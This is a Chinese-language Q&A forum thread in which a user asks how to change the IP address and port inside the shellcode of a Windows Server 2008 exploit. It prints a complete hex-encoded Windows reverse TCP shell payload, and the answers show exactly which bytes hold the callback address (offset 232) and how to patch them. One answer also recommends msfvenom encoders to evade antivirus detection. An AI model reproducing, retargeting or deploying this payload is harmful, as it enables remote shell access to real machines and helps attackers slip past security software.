如何修改漏洞利用中的十六进制代码以满足我的要求?

信息安全 开发
2021-08-22 06:30:10

我在这里研究了 Windows Server 2008 的最新漏洞利用当我尝试修改代码以满足我的需要时,我陷入了这一行:

# Shellcode TCP Reverse to 192.168.125.133 1337 
reversetcp_shellcode = binascii.unhexlify(b'fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc02000539c0a87d8541544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd550504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd54881c44002000049b8636d640000000000415041504889e25757574d31c06a0d594150e2fc66c74424540101488d442418c600684889e6565041504150415049ffc0415049ffc84d89c14c89c141ba79cc3f86ffd54831d248ffca8b0e41ba08871d60ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5')

这是针对带有端口“1337”的 IP 地址“192.168.125.133”。如何更改此“十六进制”代码,尽管我不确定它是否实际上是十六进制,因为它没有转换为 asci。将代码编辑为我的 IP 地址和我想要的端口有什么帮助吗?

2个回答

您需要更改端口和 IP 的十六进制代码,192.168.125.133 == c0.a8.7d.85端口 1337 是0539

在您的代码中,您可以在此处找到两者:

fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc0200 0539 c0a87d85 41544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd550504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd54881c44002000049b8636d640000000000415041504889e25757574d31c06a0d594150e2fc66c74424540101488d442418c600684889e6565041504150415049ffc0415049ffc84d89c14c89c141ba79cc3f86ffd54831d248ffca8b0e41ba08871d60ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5

只需将两个值都更改为您需要的值。

如果你仔细看,你会先找到端口,然后是大端的 ip 地址。由于端口被表示为“短”整数,它们通常是 2 个字节。IPv4 地址表示为 4 个字节,因此您正在寻找一个 6 个字节长的字符串,或一个 12 个字符的十六进制字符串(给定 2 个十六进制字符 = 1 个字节的数据)。这将为您提供字符串“0539c0a87d85”,其中“0538”是十六进制的 1337,字符串的其余部分包含您在 IPv4 地址中看到的 4 字节值(每个句点之间的十进制值表示为十六进制)。一个简单的 Python 命令显示该字符串位于索引 232 处(在未十六进制版本中)。修改那里的六个字节,您将自定义您的 shellcode。

但是,如果您在这里的目标不一定是深入研究 shellcode 的细节,而只是用您的必需品替换 shellcode(也许您想要的不仅仅是反向 shell),我强烈建议您看看 metasploit -框架,尤其是msfvenom 工具它是生成自定义 shellcode 的好工具,甚至允许您添加编码器来混淆 shellcode,从而使反病毒引擎更难检测签名。您可以在Github上找到有关如何使用它的更多信息